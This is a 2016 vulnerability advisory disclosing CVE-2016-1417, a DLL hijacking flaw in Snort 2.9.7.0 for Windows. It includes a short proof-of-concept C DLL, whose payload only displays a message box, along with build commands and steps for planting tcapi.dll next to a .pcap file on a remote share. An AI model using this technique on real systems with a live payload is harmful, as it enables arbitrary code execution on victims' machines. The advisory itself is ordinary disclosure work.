[+] Credits: John Page aka hyp3rlinx    

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt

[+] ISR: ApparitionSec



Vendor:
=============
www.snort.org



Product:
===================
Snort v2.9.7.0-WIN32

Snort is an open-source, free and lightweight network intrusion detection 
system (NIDS) software for Linux and Windows to detect emerging threats.


Vulnerability Type:
===================
DLL Hijack



CVE Reference:
==============
CVE-2016-1417



Vulnerability Details:
=====================

snort.exe can be exploited to execute arbitrary code on victims system via DLL 
hijacking, the vulnerable DLL is "tcapi.dll".
If a user opens a ".pcap" file from a remote share using snort.exe and the DLL 
exists in that directory. 


Exploit codes(s):
=================

Create tcapi.dll 

#include<windows.h>

//gcc -c tcapi.c
//gcc -shared -o tcapi.dll tcapi.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK);  
    break;
  }

return 0;
}

1) create any empty file on a remote dir share with a .pcap extension
2) place arbitrary DLL named  "tcapi.dll" in remote share
3) open with snort.exe
4) BAM!




Disclosure Timeline:
=======================================
Vendor Notification:  April 21, 2016
September 29, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no 
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in 
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the 
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author 
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx

Reply via email to